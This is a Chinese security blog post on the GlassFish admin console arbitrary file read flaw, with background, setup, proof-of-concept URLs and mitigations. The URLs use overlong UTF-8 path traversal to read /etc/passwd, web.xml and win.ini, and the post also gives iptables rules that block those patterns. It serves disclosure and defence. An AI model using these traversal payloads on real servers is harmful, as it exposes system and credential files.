catalogue

. 前言和技术背景
. Glassfish安装配置
. 漏洞利用
. 漏洞缓解(修复)

1. 前言和技术背景

0x1: GlassFish是什么

GlassFish 是用于构建 Java EE 5 应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。这是对希望能够获得源代码并为开发 Sun 的下一代应用服务器(基于 GlassFish)作出贡献的 Java 开发者作出的回应。该项目旨在促进 Sun 和 Oracle 工程师与社区之间的交流,它将使得所有开发者都能够参与到应用服务器的开发过程中来

0x2: JSF是什么

JSF ,java Server Faces, 他与struts一样都是web应用框架,但是他们的本质区别在于, struts只是单纯的MVC模式框架,而JSF是一种事件驱动型的组件模型
应用程序的开发有两种B/S(浏览器/服务器)和C/S(客户端/服务器端),JSF就是将C/S开发中的界面引入了B/S开发中,然后为界面上的每一个控件都提供事件侦听器。通过JSF,可以在网页上使用WEB组件来捕获用户行为产生的事件.使用JSF开发web程序将与开发swing程序类似,可以拖放控件

0x3: JMX是什么

JMX(Java Management Extensions)是一个为应用程序植入管理功能的框架。JMX是一套标准的代理和服务,实际上,用户可以在任何Java应用程序中使用这些代理和服务实现管理
JMX是一种应用编程接口,可扩充对象和方法的集合体,可以用于跨越一系列不同的异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用它提供了用户界面指导、Java类和开发集成系统、网络及网络管理应用的规范。
管理对象是JMX应用程序的核心。JMX结构包括:支持Java的Web浏览器用户接口,管理运行模块ARM(Admin Runtime Module)和应用。这三个部件之间通过RMI(Remote Method Invocation)进行通信。这里需要说明的是,RMI是使得一个Java虚拟机(JVM)上运行的程序可以调用远程服务器上另一个JVM总的对象。
用户接口用来发布管理操作,这些操作可以间接的通过浏览器或通过单独的应用程序来激发。管理运行模块用来给应用提供实例化的管理对象。它包括Agent对象接口,通知接口和被管数据接口。应用指的是那些被管设备单元。
JMX是一个完整的网络管理应用程序开发环境,它同时提供了:厂商需要收集的完整的特性清单,可生成资源清单表格,图形化的用户接口;访问SNMP的网络API;主机间远程过程调用;数据库访问方法。
JMX这一轻型的管理基础结构,价值在于对被管理资源的服务实现了抽象,提供了低层的基本类集合,开发人员在保证大多数的公共管理类的完整性和一致性的前提下,进行扩展以满足特定网络管理应用的需要

Relevant Link:

http://www.xuebuyuan.com/1865382.html

2. Glassfish安装配置

unzip glassfish-4.1.*zip
glassfish4/bin/asadmin start-domain
Go to http://localhost:4848

Relevant Link:

https://java.net/projects/glassfish/sources/svn/show/trunk/main/appserver/admingui/webui-jsf-suntheme-plugin-l10n/src/main/resources/com/sun/webui?rev=64241
http://www.1maven.com/classname-packaging?query&cl=ThemeServlet&pk=com.sun.webui.theme&pg=1&a=&s=#t_
https://glassfish.java.net/download.html

3. 漏洞利用

0x1: POC1(..编码)

http://localhost:4848/theme/META-INF/png%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

0x2: POC1(/编码)

http://localhost:4848/theme/META-INF/..%c0%afMETA-INF%c0%af..%c0%af..%c0%af__admingui%c0%afWEB-INF%c0%afweb.xml
http://localhost:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

4.1.1把 %c0%ae = . 修复了,但是%c0%af = /没过滤

Relevant Link:

http://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=401676448&idx=1&sn=27231eed275dccdeb8c44e1cc6ac1f9a&scene=2&srcid=0114QPY75arMj4necv5moRY0&from=timeline&isappinstalled=0#wechat_redirect
http://www.wooyun.org/bugs/wooyun-2010-0144595

4. 漏洞缓解(修复)

0x1: 关闭远程管理

关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启GlassFish服务

./asadmin change-admin-password
./asadmin disable-secure-admin
./asadmin stop-domain
./asadmin start-domain asadmin.bat change-admin-password
asadmin.bat disable-secure-admin
asadmin.bat stop-domain
asadmin.bat start-domain

需要注意的是,关闭远程访问只能禁用远程login登录,但是攻击url还是可以访问,任意文件读取依然存在

0x2: Iptables规则

iptables -I INPUT -p tcp --dport  -m string --to  --algo bm --string '..\%c0\%af' -j DROP
iptables -I INPUT -p tcp --dport -m string --to --algo bm --string '\%c0\%ae/' -j DROP
iptables -I INPUT -p tcp --dport -m string --to --algo bm --string '../' -j DROP
//该规则无法防御HTTPS SSL方案

0x3: 禁用web.xml theme映射

\glassfish4\glassfish\lib\install\applications\__admingui\WEB-INF\web.xml

aaarticlea/png;base64,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" alt="" />

重启glassfish后生效

Relevant Link:

http://blog.csdn.net/joyous/article/details/8008870
http://blog.csdn.net/myjlvzlp/article/details/8009885
http://book.51cto.com/art/200904/120804.htm
http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html
http://blog.nintechnet.com/how-to-block-w00tw00t-at-isc-sans-dfind-and-other-web-vulnerability-scanners/

Copyright (c) 2016 LittleHann All rights reserved

应用服务器Glassfish任意文件读取漏洞的更多相关文章

  1. glassfish任意文件读取漏洞解析

    一.背景: glassfish是一款java编写的跨平台的开源的应用服务器. 二.漏洞原理: 与宽字节SQL注入一致,都是由于unicode编码歧义导致的.具体payload如下构造: http:// ...

  2. GlassFish 任意文件读取漏洞

    poc https://192.168.49.2:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0 ...

  3. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

  4. 【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  5. 【代码审计】XYHCMS V3.5任意文件读取漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  6. 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  7. PHPMailer命令执行及任意文件读取漏洞

    今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个 ...

  8. Atlassian Confluence任意文件读取漏洞

    Atlassian Confluence Atlassian Confluence是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件,也可以用于构建企业WiKi.该软件可实现团队成员之 ...

  9. Resin任意文件读取漏洞

    Resin是什么 虽然看不上但是还是原因下百度百科: Resin是CAUCHO公司的产品,是一个非常流行的支持servlets和jsp的引擎,速度非常快.Resin本身包含了一个支持HTTP/1.1的 ...

随机推荐

  1. ios蓝牙开发(五)BabyBluetooth蓝牙库介绍

    BabyBluetooth 是一个最简单易用的蓝牙库,基于CoreBluetooth的封装,并兼容ios和mac osx. 特色: 基于原生CoreBluetooth框架封装的轻量级的开源库,可以帮你 ...

  2. 模块度与Louvain社区发现算法

    Louvain算法是基于模块度的社区发现算法,该算法在效率和效果上都表现较好,并且能够发现层次性的社区结构,其优化目标是最大化整个社区网络的模块度. 模块度(Modularity) 模块度是评估一个社 ...

  3. Qt5 新特性

    Qt 5 已经临近发布,其最大的特点就是模块化.将原来庞大的模块更细分为不同的部分,同时,一个大版本的升级,当然少不了添加.删除各个功能类.文本简单介绍 Qt5 的特性,其具体内容来自 Qt5 官方 ...

  4. TensorFlow的开源与Hadoop的开源

    最近看TensorFlow代码的时候,用Git pull下来最新的master一看,哇好多的更新,然后点击去之前看到一半的cc文件继续看,好多地方都改变了.但是一看Git log,有好多巨大的comm ...

  5. 采访ServiceStack的项目领导Demis Bellot——第1部分(网摘)

    ServiceStack是一个开源的.支持.NET与Mono平台的REST Web Services框架.InfoQ有幸与Demis Bellot深入地讨论了这个项目.在这篇两部分报道的第1部分中,我 ...

  6. 完全开源Android网络框架 — 基于JAVA原生的HTTP框架

    HttpNet网络请求框架基于HttpUrlConnection,采用Client + Request + Call的请求模型,支持https默认证书,数字安全证书.支持http代理!后续将会实现队列 ...

  7. keepalived+LVS 实现双机热备、负载均衡、失效转移 高性能 高可用 高伸缩性 服务器集群

    本章笔者亲自动手,使用LVS技术实现实现一个可以支持庞大访问量.高可用性.高伸缩性的服务器集群 在读本章之前,可能有不少读者尚未使用该技术,或者部分读者使用Nginx实现应用层的负载均衡.这里大家都可 ...

  8. [译]用AngularJS构建大型ASP.NET单页应用(二)

    原文地址:http://www.codeproject.com/Articles/808213/Developing-a-Large-Scale-Application-with-a-Single 客 ...

  9. SQLServer中的事务与锁

    事务:保持逻辑数据一致性与可恢复性,必不可少的利器. 锁:多用户访问同一数据库资源时,对访问的先后次序权限管理的一种机制,没有他事务或许将会一塌糊涂,不能保证数据的安全正确读写. 死锁:是数据库性能的 ...

  10. Http协议中的Content-Length属性

    Android开发的时候需要与从服务器上获取数据,数据是通过http协议封装的.Android端使用的是Xutils第三方插件来发起http请求,但是每次只能拿到部分数据.通过仔细分析后原来是Cont ...